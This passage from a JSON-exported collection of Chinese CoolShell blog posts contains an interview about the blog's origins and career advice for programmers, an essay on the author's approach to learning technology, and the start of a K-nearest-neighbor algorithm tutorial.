[https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/14.jpg](https://coolshell.cn/articles/3445.html)[输出从1到1000的数](https://coolshell.cn/articles/3445.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg](https://coolshell.cn/articles/1532.html)[到处都是Unix的胎记](https://coolshell.cn/articles/1532.html)\n* [![程序员练级攻略（2018)  与我的专栏](../wp-content/uploads/2018/05/300x262-150x150.jpg)](https://coolshell.cn/articles/18360.html)[程序员练级攻略（2018) 与我的专栏](https://coolshell.cn/articles/18360.html)\nThe post [一个fork的面试题](https://coolshell.cn/articles/7965.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2012-8-12 InfoQ的ArchSummit大会对我的采访.md",
    "content": "---\nlayout: post\ntitle: InfoQ的ArchSummit大会对我的采访\ndate: 2012/8/12/ 8:2:28\nupdated: 2012/8/12/ 8:2:28\nstatus: publish\npublished: true\ntype: post\n---\n\n\n偷个懒，做个更新，今天下午InfoQ的ArchSummit对我的一些采访。我整理了一下，算做是我个人写酷壳的一些想法和总结。不过问我的这些问题并不尖锐，呵呵，不像[@图灵谢工](http://weibo.com/stonemama) 问我的问题：“你的价值观太过理想，根本不现实，你站在道德的高点拷问社会，是不是想炒作自己？”。\n\n\n**1) 作为酷壳的博主，请您大概介绍下酷壳是什么时候开始的，初衷是什么 ？**\n\n\n我写blog是从2002年开始（那时还没有blog这个词），当时对我来说，没有自己的电脑，上网很不方便，而我有写学习笔记的习惯，读书和工作中学到的一些东西需要保存在某个地方，我希望这个地方可以让我在任何地方都可以调出来看看（因为我当时的工作出差太多），正好当时的CSDN有个“专家专栏”的功能，也就是后来出现的blog。\n\n\n后来Blog出现后，CSDN把自己的“专家专栏”全部迁移到了blog.csdn.net上，07-08年这段时间，CSDN的blog基本上是不能使用，性能差得不能再差，每天宕机，上传图片，贴代码，都非常不好用。也许，这就是使用.NET/Windows平台的问题（开个玩笑）。\n\n\n我是从2009年3月开始创建酷壳的，创建的初衷如下：\n\n\n* 我需要一个更稳定，更方便的地方，我的博客的风格不会被大众的风格所掩盖的地方。\n* 我的从事新闻的老婆很不待见[我在CSDN的博客](http://blog.csdn.net/haoel)，她觉得太技术，书呆子。\n* 我正好看到了煎蛋这个国外娱乐新闻文摘的blog，而我正好每天会有2个小时阅读国外社区的东西。\n\n\n基于上述三个原因，我自己花了4500元/年租了个主机，建了酷壳。所以，这也是你一开始看到酷壳基本上是娱乐性比较强的博客，我收集一些比较有意思的程序员中发生的事情，也收集一各式各样的程序员圈子里的各处观点。\n\n\n我当时的想法是，一些特别技术的东西，我会和CSDN同步，而一些轻松的话题，我会放在酷壳。我当时的初衷就是想说明程序员并不是一个木纳、书呆子、不食人间烟火、巨无趣的一个群体，程序员圈子里同样也有很多有趣的东西。所以，你可以看到11年初以前的东西我有很多网络恶搞式乱调侃的语言。\n\n\n\n但到了2011年初让我开始让我有些转变，主要是读者越来越多，而且，有一些人已经把酷壳当成了一个提升自己能力和、开阔眼界、甚至需要指导的地方，我的压力就这样来了，这种压力让我开始不能太娱乐，因为有一些人是很认真地在看酷壳的文章，在期待能从酷壳获得有价值的东西……\n\n\n**2）技术人员的个人博客不胜其数，但真正可以吸引人眼球的并不多，能谈谈成功运营一个个人博客的精髓是什么？**\n\n\n哪有什么运营，完全是顺其自然，误打误撞。\n\n\n是的，技术人员的博客太多了，酷壳并不是技术最好的，也不是资讯最好的。淘宝的很多技术团队的博客都很不错，还有阮一峰的博客，还有各种各样的如CSDN，博客园，51CTO，ZDNET这样的社区。所以，我需要做点不一样的，而且我觉得还有一些这些社区和博客都还没有涉及的地方。\n\n\n对于社区最大的问题就是，他们就像我们学校里的学生一样，喜欢大量地收获聚集文章和知识，填鸭式的网站，网站的编辑不懂技术。对于一些技术博客的问题并不是他们不懂技术，而是太过技术，只有技术，少了一些程序员的文化，观点和视野。\n\n\n程序员是一个圈子，一个小社会，这个圈子里并不只有技术和知识，还有很多很多的东西，例如：程序员们都说自己比较辛苦，都说自己没有得到足够的尊重，还有一些如敏捷，流程，产品等地方程序员的观点没有得到表达，还有一些程序员这个社区内比较特有的东西，比如：编程语言之争，这本是一个很好的话题，是程序员圈子里的文化，但是每次讨论都是骂来骂去的，需要有人去引导程序员，带领他们用正确的价值观去看待和思考这些东西。\n\n\n这就是酷壳和其它博客和社区不一样的地方，我关注的并不只有技术，还有程序员的文化和想法，并且输出一些或偏执或鲜明或个人或激进的价值观，无论怎么样，你认同也好，不认同也可以，你可以看到酷壳和我还有酷壳里的讨论都是真实的。\n\n\n**3）根据你博客的自我介绍，想从纯底层技术方向转型为业务技术方向，让你产生这种想法的最大原因是什么？**\n\n\n纯底层做得太多了，有些书呆子了，与人打交道有问题了，而且觉得地底有点不识人间烟火了，我想知道用户是怎么用我们的产品的，我想知道用户是怎么想的，整天在那调网络性能，调系统性能，搞多线程，搞内存漏洞，整天在矿道里打洞， 想出来见见天日。呵呵。\n\n\n但这并不代码我觉得业务和用户要比技术有用得多，也并不是说技术无用论。\n\n\n我觉得这就好像一颗大树，这些底层的技术，可以让你站得非常非常稳，可以让你抵御洪灾和暴风，但是如果你想伸长得更高更广，你还是需要地面上的枝叶。我觉得我的底层知识够深入了，我需要了解业务知识和用户，因为我不但想站得稳，扎得深，我也想伸得高。\n\n\n**4）酷壳产出文章是怎么样的频率？每篇博文 ，你大概需要多少时间？**\n\n\n我每天都有阅读的习惯，尤其是阅读网文，每天两个小时，而且我是一个爱思考的人，思考的对不对不一定，但是我很喜欢去思考。现在又上了微博和一些朋友互动，也会引发我的一些思考，所以，文章就是在阅读、交流和思考中产生的。\n\n\n2011年初以前，平均每周3篇，有时候一周有10篇，现在基本上每周一篇。以前的文章花不了太多时间 ，因为比较娱乐，现在的文章很花时间，比如《程序员练级攻略》花了我四周的时间 ，《性能调优攻略》花了我三周多的时间，基本上来说，现在的文章至少也要花我1-2天的时间。我想把文章的数量降下来，这样，我可以思考得更好更透彻一些，这样文章里的营养更多一些。\n\n\n**5）是不是可以给年轻的朋友，或是风刚从事软件开发工作的朋友，一些职业发展的建议？**\n\n\n主要是下面几点：\n\n\n* 不要追新技术，应该多看看那些经历了很长时间的常青的技术。\n\n\n* 多研究一下历史，和技术的演进，这样你才能知道技术的未来。今天的很多东西都在过去有身影，如：今天的移动端和云端架构和以前的Unix和终端的关系，还有管道，和Unix设计的哲学也在今天Service Interface式的设计中有得到传承，等等。\n\n\n* 我可以急功近利以解决问题和追赶技术潮流，但是，如果你需要成为一个领域的专家，你需要非常非常注重基础。速成编程的方式只能让你成为劳动力，而不能成为工匠或技术和知识的驾驭者。\n\n\n* 不要被产商的文化所主导了，多看看社区的文化，尤其是Unix/C的文化，这是计算机文化的根（参看我写过的《[Unix传奇](https://coolshell.cn/articles/2322.html \"Unix传奇(上篇)\")》）\n\n\n* 注重基础，广度是深度是副产品。\n\n\n**6）以你过往的经历，你是如何看待“架构师”这个角色的？他的义务是如何分配的？**\n\n\n架构就是Design一个部分，就是软件设计的一块，软件设计最重要的有两点：\n\n\n* 业务功能性需求分析和非功能性需求分析，\n* 技术基础的深刻认识，需要有非常丰富的经验。\n\n\n试问一下，程序员做软件不需要设计吗？做设计不需要设计架构吗？很自然的，今天的工程师，程序员已经在做架构设计上的事了。所以，我觉得架构设计这个工作本就是程序员（或者说是高级程序员）工作的一部分。\n\n\n但是，我个人认为架构师在某些情况下也还是需要的，但其应该是对业务和技术都很熟悉的人，并且偏技术，也要写代码的人。在一些公司，上下一盘棋，的确需要对总体架构设计，并保证这个框架能够被各个工程团队贯彻实现的那么一个团队，但他们应该更多地深入到一线工程团队的。\n\n\n所以，我觉得架构师就是一个高级程序员，而不是一个拍脑袋，关说不练的人。\n\n\n这点，看看Linux的架构师团队就知道了，一样的需要写代码，fix-bug，一样地需要了解各个公司对linux提出的各种各样的需求。\n\n\n**7）现阶段酷壳的文章，都是你一个人写的吗？是否有其他同仁加入写作？**\n\n\n并不都是我一个人写的，我希望酷壳是大家一起来写的，事实上也有一些人写，只是不多。只是我个人的色彩过重了一些，我的个性压制了众性。\n\n\n（不过，我真的无法自证都是我写的，我有没有团队，呵呵，管它有没有团队，是不是人代写，重要的是那些文章的内容是否对大家有帮助，或是对社区有贡献。；））\n\n\n**8）你对酷壳未来的构想是什么？还是一个技术交流的平台吗？**\n\n\n对于酷壳来说，其文化和价值观比较重一些，短期内，还是以我个人色彩为主一些，虽然我希望这是一个大家都能来分享的地方。前段时间我有个想法想做一个“程序员疫苗站”，就像我们一出生时接种的各种疫苗可以让我们抵抗各种病毒一样，这个网站可以让程序员接种一些犯低级错误的疫苗，从而对这些低级错误有抵抗。我还没有想得特别清楚，不过方向基本上是这个方面的。\n\n\n（全文完）\n\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![聊聊团队协同和协同工具](../wp-content/uploads/2022/10/communication-150x150.png)](https://coolshell.cn/articles/22298.html)[聊聊团队协同和协同工具](https://coolshell.cn/articles/22298.html)\n* [![“一把梭：REST API 全用 POST”](../wp-content/uploads/2022/02/http_method-150x150.png)](https://coolshell.cn/articles/22173.html)[“一把梭：REST API 全用 POST”](https://coolshell.cn/articles/22173.html)\n* [![谈谈公司对员工的监控](../wp-content/uploads/2022/02/monitoring-150x150.jpeg)](https://coolshell.cn/articles/22157.html)[谈谈公司对员工的监控](https://coolshell.cn/articles/22157.html)\n* [![如何做一个有质量的技术分享](../wp-content/uploads/2021/07/knowledge_sharing-300x169-1-150x150.jpeg)](https://coolshell.cn/articles/21589.html)[如何做一个有质量的技术分享](https://coolshell.cn/articles/21589.html)\n* [![程序员如何把控自己的职业](../wp-content/uploads/2020/08/programmer.01-e1596792460687-150x150.png)](https://coolshell.cn/articles/20977.html)[程序员如何把控自己的职业](https://coolshell.cn/articles/20977.html)\n* [![MegaEase的远程工作文化](../wp-content/uploads/2020/01/remote-150x150.jpg)](https://coolshell.cn/articles/20765.html)[MegaEase的远程工作文化](https://coolshell.cn/articles/20765.html)\nThe post [InfoQ的ArchSummit大会对我的采访](https://coolshell.cn/articles/8031.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2012-8-16 对技术的态度.md",
    "content": "---\nlayout: post\ntitle: 对技术的态度\ndate: 2012/8/16/ 15:50:25\nupdated: 2012/8/16/ 15:50:25\nstatus: publish\npublished: true\ntype: post\n---\n\n最近人品爆发，图灵社区，InfoQ，51CTO相继对我做了采访，前两天我把[InfoQ对我的采访张贴了出来](https://coolshell.cn/articles/8031.html \"InfoQ的ArchSummit大会对我的采访\")，今天，图灵社区和51CTO对我的采访发布了（[图灵的访谈](http://www.ituring.com.cn/article/9174 \"图灵访谈之三十二：我的精神家园——陈皓（@左耳朵耗子）专访\") ，[51CTO的访谈](http://developer.51cto.com/art/201208/353256.htm \"专访陈皓：有关带队、沟通、成长与变化\")），我是一个有技术焦虑症的人，我的经历比较特殊，对大家来说可能也没有什么意思，这两个采都有一些重叠的部分，不过有些观点我想再加强一些，并放在这里和大家一起分享一下。\n\n\n#### 对于日新月异的新技术，你是什么态度？\n\n\n遇到新技术我会去了解，但不会把很大的精力放在这些技术（如：NoSQL，Node.js，等）。这些技术尚不成熟，只需要跟得住就可以了。技术十年以上可能是一个门槛。有人说技术更新换代很快，我一点儿都不觉得是这样想。虽然有不成熟的技术不断地涌出，但是成熟的技术，比如Unix，40多年，C，40多年，C++，30多年，TCP/IP，20多年，Java也有将近20年了……，所以，如果你着眼成熟的技术，其实并不多。\n\n\n我的观点是——**要了解技术就一定需要了解整个计算机的技术历史发展和进化路线。**（这个观点，我在《[程序员练级攻略](https://coolshell.cn/articles/4990.html \"程序员技术练级攻略\")》和《[C++的坑多吗？](https://coolshell.cn/articles/7992.html \"C++的坑真的多吗？\")》中提到过多次了。）因为，**你要朝着球运动的轨迹去，而不是朝着球的位置去，要知道球的运动轨迹，你就需要知道它历史上是怎么跑的**。\n\n\n如果要捋一个技术的脉络，70年代Unix的出现，是软件发展方面的一个里程碑，那个时期的C语言，也是语言方面的里程碑。（当时）所有的项目都在Unix/C上，全世界人都在用这两样东西写软件。Linux跟随的是Unix, Windows下的开发也是 C/C++。这时候出现的C++很自然就被大家接受了，企业级的系统很自然就会迁移到这上面，C++虽然接过了C的接力棒，但是它的问题是它没有一个企业方面的架构，而且太随意了，否则也不会有今天的Java。C++和C非常接近，它只不过是C的一个扩展，长年没有一个企业架构的框架。而Java在被发明后，被IBM把企业架构这部分的需求接了过来，J2EE的出现让C/C++捉襟见肘了，在语言进化上，还有Python/Ruby，后面还有了.NET，但可惜的是这只局限在Windows平台上。这些就是企业级软件方面语言层面就是C -> C++ -> Java这条主干，操作系统是Unix -> Linux/Windows这条主干，软件开发中需要了解的网络知识就是Ethernet -> IP -> TCP/UDP 这条主干。另外一条脉络就是互联网方面的（HTML/CSS/JS/LAMP…）。我是一个有技术忧虑症的人，这几条软件开发的主线一定不能放弃。\n\n\n另外，从架构上来说，我们可以看到，\n\n\n\n* 从单机的年代，到C/S架构（界面，业务逻辑，数据SQL都在Client上，只有数据库服库在S上）\n* 再到B/S结构（用浏览器来充当Client，但是传统的ASP/PHP/JSP/Perl/CGI这样的编程也都把界面，业务逻辑，和SQL都放在一起），但是B/S已经把这些东西放到了Web Server上，\n* 再到后来的中间件，把业务逻辑再抽出一层，放到一个叫App Server上，经典的三层结构。\n* 然后再到分布式结构，业务层分布式，数据层分布式。\n* 再到今天的云架构——全部移到服务器。\n\n\n我们可以看到技术的变迁都一直再把东西往后端移，前端只剩一个浏览器或是一个手机。通过这个你可以看到整个技术发展的趋势。所以，如果你了解了这些变迁，了解了这些变迁过程“不断填坑”的过程，你将会对技术有很强的把握。\n另外，我听到有很多人说，一些技术不适用，一些技术太学院派，但对我来说，无论是应用还是学术，我都会看，知识不愁多。何必搞应用的和搞学术的分开阵营，都是知识，学就好了。\n\n\n技术的发展要根植于历史，而不是未来。不要和我描述这个技术的未来会多么美好（InfoQ 的 ArchSummit大会上有一个微软来的人把Node.js说得跟仙女一样，然后给了一个Hello World），我承认你用一些新的技术可以实现很多花哨的东西。但是，我认为技术都是承前的，只有承前的才会常青。所以说“某某（技术）要火”这样的话是没有意义的，等它火了、应用多了，规模大了，再说。有些人说：“不学C/C++也是没有问题的”，我对此的回应是：**如果连技术主干都可以不学的话，还有什么其他的好学呢？这些是计算机发展的根、脉络、祖师爷，这样的东西怎么可以不学呢？**\n\n\n另外，我们要去了解整个计算机文化，我觉得计算机文化源起于Unix/C这条线上（注意，我说的是文化不是技术）。我也写过很多与Unix文化相关的文章，大家可以看看我写的“[Unix传奇](https://coolshell.cn/articles/2322.html \"Unix传奇(上篇)\")（[尤其是下篇](https://coolshell.cn/articles/2324.html \"Unix传奇(下篇)\")）”。\n\n\n#### 可是在应用环境中，对新技术的需求是很高的，你觉得在教育领域计算机科学的侧重应该是什么样的？\n\n\n学校教的大部分都是知识密集型的技术，但是社会上的企业大部分都是劳动密集型的。什么是劳动密集型的企业呢？麦当劳炸薯条就是劳动密集型的工作，用不到学校教授的那些知识。如果有一天你不炸薯条了，而要去做更大更专业的东西，学校里的知识就会派上用场。有人说一个语言、一个技术，能解决问题能用就行了，我不这样认为。**我觉得你应该至少要知道这些演变和进化的过程。而如果你要解决一些业务和技术难题，就需要抓住某种技术很深入地学习，当成艺术一样来学习。**\n\n\n我在“[软件开发‘三重门’](https://coolshell.cn/articles/6526.html \"软件开发的“三重门”\")”里说过，第一重门是业务功能，在这重门里，的确是会编程就可以了；第二重门是业务性能，在这一重门里，技术的基础就很管用了，比如：操作系统的文件管理，进程调度，内存管理，网络的七层模型，TCP/~~UCP~~UDP的协议，语言用法、编译和类库的实现，数据结构，算法等等就非常关键了；第三重门是业务智能，在这一重门里，你会发现很多东西都很学院派了，比如，搜索算法，推荐算法，预测，统计，机器学习，图像识别，分布式架构和算法，等等，你需要读很多计算机学院派的论文。\n\n\n总之，这主要看你职业生涯的背景了，如果你整天被当作劳动力来使用，你用到的技术就比较浅，比较实用，但是如果你做一些知识密集型的工作，你就需要用心来搞搞研究，就会发现你需要理论上的知识。比如说，我之前做过的跨国库存调配，需要知道最短路径的算法，而我现在在亚马逊做的库存预测系统，数据挖掘的那些东西都需要很强的数学建模、算法、数据挖掘的功底。\n\n\n我觉得真正的高手都来自知识密集型的学院派。他们更强的是，可以把那些理论的基础知识应用到现在的业务上来。但很可惜，**我们国内今天的教育并没有很好地把那些学院派的理论知识和现实的业务问题很好地接合起来。**比如说一些哈希表或二叉树的数据结构，如果我们的学校在讲述这些知识的时候能够接合实际的业务问题，效果会非常不错，如：设计一个IP地址和地理位置的查询系统，设计一个分布式的NoSQL的数据库，或是设计一个地理位置的检索应用等等。在学习操作系统的时候，如果老师可以带学生做一个手机或嵌入式操作系统，或是研究一下Unix System V或是Linux的源码的话，会更有意思。在学习网络知识的时候，能带学生重点学一下以太网和TCP/IP的特性，并调优，如果能做一个网络上的pub/sub的消息系统或是做一个像Nginx一样的web server，那会更好。如果在学图形学的过程中能带领学生实践一个作图工具或是一个游戏引擎，那会更有意思。\n\n\n总之，我们的教育和现实脱节太严重了，教的东西无论是在技术还是在实践上都严重落后和脱节，没有通过实际的业务或技术问题来教学生那些理论知识，这是一个失败。\n\n\n#### **那么，现在做一个软件开发者是否更加困难了？**\n\n\n我觉得倒不是。做一个软件开发者更简单了。因为现在互联网很发达，你可以找到很多共享的知识——相对于我那个时候。第一，知识你容易查到，然后社区很多，文章、分享的人也越来越多。我们那个时候没有的。上网一查，什么都没有。都得去自己琢磨，自己去调查。所以我觉得相比我们那个时候更容易了。第二，工具变多了。现在的工具比那个时候好用多了。我们那个时候就是一天到晚在vi里面，连个自动提示都没有，连个版本库管理都没有。不光工具变多，框架也多了，各种各样的编程框架。我们那时候都是生写。写JavaScript，生写，连个jQuery都没有。没有这些辅助性的、让你提高生产力的东西。J2EE那时候也没有。而且整个（开发环境）都很不成熟。一个服务器的最高配置就1GB的情况下，一个WebSphere起来就占了900多MB——这还能跑什么应用？所以只能去用最基础的系统。所以我觉得现在，无论是环境，还是开发的过程，都更规范了。以前我做开发的时候就是，什么都不懂就上了，瞎搞，没有什么开发规范，没有人理你，反正你搞得好就搞好，搞不好就搞不好了，全靠自己，包括做测试维护等等。我觉得现在的软件开发就很好，你一上去，就有好的工具，有好的知识库，有好的社区，有好的开发框架，还有好的流程，方法，甚至还有人帮你做测试，还有人告诉你应该怎么做。幸福得很。现在好多人还说这个不好那个不好，开发难什么的。其实容易多了。\n\n\n但是，有个东西我觉得是现在的软件开发者比我们那时候变得更难的。就是，你享福了以后，人就变懒，变娇气了。对很多东西的抱怨就开始多了。我们那个时候哪有什么好抱怨的？没啥好抱怨的，有活就干，有东西学就赶快学。现在呢，学个什么东西还挑挑拣拣的，抱怨这个语言太扯，那个IDE不好，这个框架太差，版本管理工具太扯，等等。**这就好像以前我没东西吃，只有个糠吃，要是有面包有馒头，我就觉得非常非常好了。现在是，好吃的东西多了我们还学会挑食了，这也不好用，那也不好用**。\n\n\n根本就不是技术变难了，环境变差了，是程序员变娇气了。所以软件开发变难，归根结底还是程序员们自己变娇气了。\n\n\n#### 你如何在进度压力下，享受技术带来的快乐？\n\n\n中国人中庸的思想，入世和出世，每天的工作就是入世。举个例子，我十年前在上海的时候，给交通银行做项目的时候，每周休息一天，早九点到晚十点，每天工作12个小时，这样的工作持续了一整年，没有节假日，项目上的技术也没什么意思。当时我晚上十点回到住处，还想学一些C++/Java和Unix/Windows的技术，于是就看书到晚上11:30，每天如此，一年下来学到很多东西，时间没有荒废，心里就很开心。**我觉得当时是快乐的，因为有成长的感觉是快乐的。**\n\n\n现在的我，工作、写博客、养孩子，事情其实更多。我早上7:30起床，会浏览一下国外的新闻，hacker news, tech church, reddit, highavailability之类的站点，9点上班。晚上6、7点钟下班，开始带孩子。十点钟孩子睡了觉，我会开始重新细读一下这一天都发生了些什么事情。这个时间也有可能会用来看书。学习的过程（我）是不喜欢被打断的，所以从十点到十二点，家人都睡了，这正是我连续学习的好时间。可能从晚上11:30开始，我会做点笔记或者写博客。我现在对酷壳文章的质量要求比较高一些，所以大概积累一个星期的时间才可以生成一篇文章。每天我大概都在一两点钟才会睡觉。没办法，我有技术焦虑症。但是觉得这样的生活很充实，也很踏实。\n\n\n另外，任何一门技术玩深了，都是很有意思的。有些人形成了一个价值取向，“我只做什么，绝不做什么”。前段时间有一个刚来亚马逊的工程师，他原来做的是数据挖掘推荐系统，原来的公司重组要让他做前端，他不肯就离职了，他说他不想做前端。我觉得，前端后端都是编程，Javascript是编程，C++也是编程。**编程不在于你用什么语言去coding，而是你组织程序、设计软件的能力，只要你上升到脑力劳动上来，用什么都一样，技术无贵贱。**你可以不喜欢那个技术，但是还是要了解了解，也没有必要完全不用，完全抛弃。Javascript啊——只要能被Javascript实现的，未来总有一天会被Javascript所取代。\n\n\n回到问题，怎么才能享受到快乐呢？\n\n\n* 第一，入世和出世要分开，不要让世俗的东西打扰到你的内心世界，你的情绪不应该为别人所控，也不应该被世俗所污染，活得真实，活得真实你才会快乐。\n\n\n* 第二，就是要有热情，有了热情，你的心情就会很好，加班都可以是快乐的，想一想我们整个通宵用来打游戏的时光，虽然很累，但是你也很开心，这都是因为有了热情的缘故。\n\n\n总之一句话——**如果你没有兴趣，什么都是借口，如果你有兴趣了，什么都是好玩的**。\n\n\n#### \n\n\n（全文完）\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![程序员练级攻略（2018)  与我的专栏](../wp-content/uploads/2018/05/300x262-150x150.jpg)](https://coolshell.cn/articles/18360.html)[程序员练级攻略（2018) 与我的专栏](https://coolshell.cn/articles/18360.html)\n* [![程序员技术练级攻略](../wp-content/uploads/2011/07/programmer-150x150.png)](https://coolshell.cn/articles/4990.html)[程序员技术练级攻略](https://coolshell.cn/articles/4990.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/25.jpg](https://coolshell.cn/articles/4102.html)[如何学好C语言](https://coolshell.cn/articles/4102.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/30.jpg](https://coolshell.cn/articles/4758.html)[如何写出无法维护的代码](https://coolshell.cn/articles/4758.html)\n* [![程序员眼中的编程语言](../wp-content/uploads/2009/12/language-fanboys-150x150.jpg)](https://coolshell.cn/articles/1992.html)[程序员眼中的编程语言](https://coolshell.cn/articles/1992.html)\n* [![打造高效的工作环境 – Shell 篇](../wp-content/uploads/2019/03/linux.ninja_-150x150.png)](https://coolshell.cn/articles/19219.html)[打造高效的工作环境 – Shell 篇](https://coolshell.cn/articles/19219.html)\nThe post [对技术的态度](https://coolshell.cn/articles/8088.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2012-8-17 K Nearest Neighbor 算法.md",
    "content": "---\nlayout: post\ntitle: K Nearest Neighbor 算法\ndate: 2012/8/17/ 0:15:30\nupdated: 2012/8/17/ 0:15:30\nstatus: publish\npublished: true\ntype: post\n---\n\nK Nearest Neighbor算法又叫KNN算法，这个算法是机器学习里面一个比较经典的算法， 总体来说KNN算法是相对比较容易理解的算法。其中的K表示最接近自己的K个数据样本。KNN算法和[K-Means算法](https://coolshell.cn/articles/7779.html \"K-Means 算法\")不同的是，K-Means算法用来聚类，用来判断哪些东西是一个比较相近的类型，而KNN算法是用来做归类的，也就是说，有一个样本空间里的样本分成很几个类型，然后，给定一个待分类的数据，通过计算接近自己最近的K个样本来判断这个待分类数据属于哪个分类。**你可以简单的理解为由那离自己最近的K个点来投票决定待分类数据归为哪一类**。\n\n\nWikipedia上的[KNN词条](http://en.wikipedia.org/wiki/K-nearest_neighbor_algorithm)中有一个比较经典的图如下：\n\n\n![](../wp-content/uploads/2012/08/220px-KnnClassification.svg_.png \"KNN Classification\")\n\n\n从上图中我们可以看到，图中的有两个类型的样本数据，一类是蓝色的正方形，另一类是红色的三角形。而那个绿色的圆形是我们待分类的数据。\n\n\n* 如果K=3，那么离绿色点最近的有2个红色三角形和1个蓝色的正方形，这3个点投票，于是绿色的这个待分类点属于红色的三角形。\n\n\n* 如果K=5，那么离绿色点最近的有2个红色三角形和3个蓝色的正方形，这5个点投票，于是绿色的这个待分类点属于蓝色的正方形。\n\n\n我们可以看到，机器学习的本质——**是基于一种数据统计的方法**！那么，这个算法有什么用呢？我们来看几个示例。\n\n\n\n#### 产品质量判断\n\n\n假设我们需要判断纸巾的品质好坏，纸巾的品质好坏可以抽像出两个向量，一个是“酸腐蚀的时间”，一个是“能承受的压强”。如果我们的样本空间如下：（所谓样本空间，又叫Training Data，也就是用于机器学习的数据）\n\n\n\n\n|  |  |  |\n| --- | --- | --- |\n| **向量X1**\n**耐酸时间（秒）** | **向量X2**\n**圧强(公斤/平方米)** | **品质Y** |\n| 7 | 7 | 坏 |\n| 7 | 4 | 坏 |\n| 3 | 4 | 好 |\n| 1 | 4 | 好 |\n\n\n那么，如果 X1 = 3 和 X2 = 7， 这个毛巾的品质是什么呢？这里就可以用到KNN算法来判断了。\n\n\n假设K=3，K应该是一个奇数，这样可以保证不会有平票，下面是我们计算（3，7）到所有点的距离。（关于那些距离公式，可以参看[K-Means算法中的距离公式](https://coolshell.cn/articles/7779.html \"K-Means 算法\")）\n\n\n\n\n|  |  |  |  |\n| --- | --- | --- | --- |\n| **向量X1**\n**耐酸时间（秒）** | **向量X2**\n**圧强(公斤/平方米)** | **计算到 (3, 7)的距离** | **向量Y** |\n| 7 | 7 |  |  坏 |\n| 7 | 4 |  |  N/A |\n| 3 | 4 |  |  好 |\n| 1 | 4 |  |  好 |\n\n\n所以，最后的投票，好的有2票，坏的有1票，最终需要测试的（3，7）是合格品。（当然，你还可以使用权重——可以把距离值做为权重，越近的权重越大，这样可能会更准确一些）\n\n\n**注：[示例来自这里](http://people.revoledu.com/kardi/tutorial/KNN/KNN_Numerical-example.html)，[K-NearestNeighbors Excel表格下载](https://coolshell.cn/wp-content/uploads/2012/08/K-NearestNeighbors.xls)**\n\n\n#### 预测\n\n\n假设我们有下面一组数据，假设X是流逝的秒数，Y值是随时间变换的一个数值（你可以想像是股票值）\n\n\n![](../wp-content/uploads/2012/08/KNN_TimeSeries_clip_image004.jpg \"KNN_TimeSeries_clip_image004\")\n\n\n那么，当时间是6.5秒的时候，Y值会是多少呢？我们可以用KNN算法来预测之。\n\n\n这里，让我们假设K=2，于是我们可以计算所有X点到6.5的距离，如：X=5.1，距离是 | 6.5 – 5.1 | = 1.4， X = 1.2 那么距离是 | 6.5 – 1.2 | = 5.3 。于是我们得到下面的表：\n\n\n![](../wp-content/uploads/2012/08/KNN_TimeSeries_clip_image006.jpg \"KNN_TimeSeries_clip_image006\")\n\n\n注意，上图中因为K=2，所以得到X=4 和 X =5.1的点最近，得到的Y的值分别为27和8，在这种情况下，我们可以简单的使用平均值来计算：![](../wp-content/uploads/2012/08/KNN_TimeSeries_clip_image008.gif \"KNN_TimeSeries_clip_image008\")\n\n\n于是，最终预测的数值为：17.5\n\n\n![](../wp-content/uploads/2012/08/KNN_TimeSeries_clip_image010.jpg \"KNN_TimeSeries_clip_image010\")\n\n\n**注：[示例来自这里](http://people.revoledu.com/kardi/tutorial/KNN/KNN_TimeSeries.htm)，[KNN\\_TimeSeries Excel表格下载](https://coolshell.cn/wp-content/uploads/2012/08/KNN_TimeSeries.xls)**\n\n\n#### 插值，平滑曲线\n\n\nKNN算法还可以用来做平滑曲线用，这个用法比较另类。假如我们的样本数据如下（和上面的一样）：\n\n\n![](../wp-content/uploads/2012/08/KNN_TimeSeries_clip_image012.jpg \"KNN_TimeSeries_clip_image012\")\n\n\n要平滑这些点，我们需要在其中插入一些值，比如我们用步长为0.1开始插值，从0到6开始，计算到所有X点的距离（绝对值），下图给出了从0到0.5 的数据：\n\n\n![](../wp-content/uploads/2012/08/KNN_TimeSeries_clip_image014.jpg \"KNN_TimeSeries_clip_image014\")\n\n\n下图给出了从2.5到3.5插入的11个值，然后计算他们到各个X的距离，假值K=4，那么我们就用最近4个X的Y值，然后求平均值，得到下面的表：\n\n\n![](../wp-content/uploads/2012/08/KNN_TimeSeries_clip_image016.jpg \"KNN_TimeSeries_clip_image016\")\n\n\n于是可以从0.0, 0.1, 0.2, 0.3 …. 1.1, 1.2, 1.3…..3.1, 3.2…..5.8, 5.9, 6.0 一个大表，跟据K的取值不同，得到下面的图：\n\n\n\n\n|  |  |\n| --- | --- |\n|  |  |\n|  |  |\n|  |\n\n\n**注：[示例来自这里](http://people.revoledu.com/kardi/tutorial/KNN/KNN_TimeSeries.htm)，[KNN\\_Smoothing Excel表格下载](https://coolshell.cn/wp-content/uploads/2012/08/KNN_Smoothing.xls)**\n\n\n#### 后记\n\n\n最后，我想再多说两个事，\n\n\n1） 一个是机器学习，算法基本上都比较简单，最难的是数学建模，把那些业务中的特性抽象成向量的过程，另一个是选取适合模型的数据样本。这两个事都不是简单的事。算法反而是比较简单的事。\n\n\n2）对于KNN算法中找到离自己最近的K个点，是一个很经典的算法面试题，需要使用到的数据结构是“[最大堆——Max Heap](http://en.wikipedia.org/wiki/Binary_heap)”，一种二叉树。你可以看看相关的算法。\n\n\n（全文完）\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![K-Means 